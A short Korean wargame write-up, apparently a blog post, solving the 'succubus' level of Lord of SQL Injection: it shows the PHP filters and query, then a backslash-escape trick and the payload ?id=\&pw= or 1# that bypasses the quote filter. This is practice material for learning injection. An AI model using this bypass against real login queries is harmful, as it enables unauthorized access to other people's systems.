소스코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[id])) exit("HeHe");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
zombie_assassin 문제와 정말 흡사한데 ereg가 아닌 preg_match로 필터링 하고있다.
싱글쿼터를 무효화 시켜야하는데 id 부분에 \가 들어가면
"select id from prob_succubus where id='\' and pw='{$_GET[pw]}'"
빨간색 부분이 문자열이 된다.
"select id from prob_succubus where id='\' and pw='{$_GET[pw]}'"
이부분이 id 값이 되고 뒤에 pw 부분을 이용해서 문제를 풀면된다.
?id=\&pw=%20or%201%23
id=\&pw= or 1%23
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] xavis (0) | 2017.06.01 |
---|---|
[Lord of SQL injection] nightmare (0) | 2017.05.28 |
[Lord of SQL injection] zombie_assassin (0) | 2017.05.28 |
[Lord of SQL injection] assassin (0) | 2017.05.28 |
[Lord of SQL injection] giant (0) | 2017.05.28 |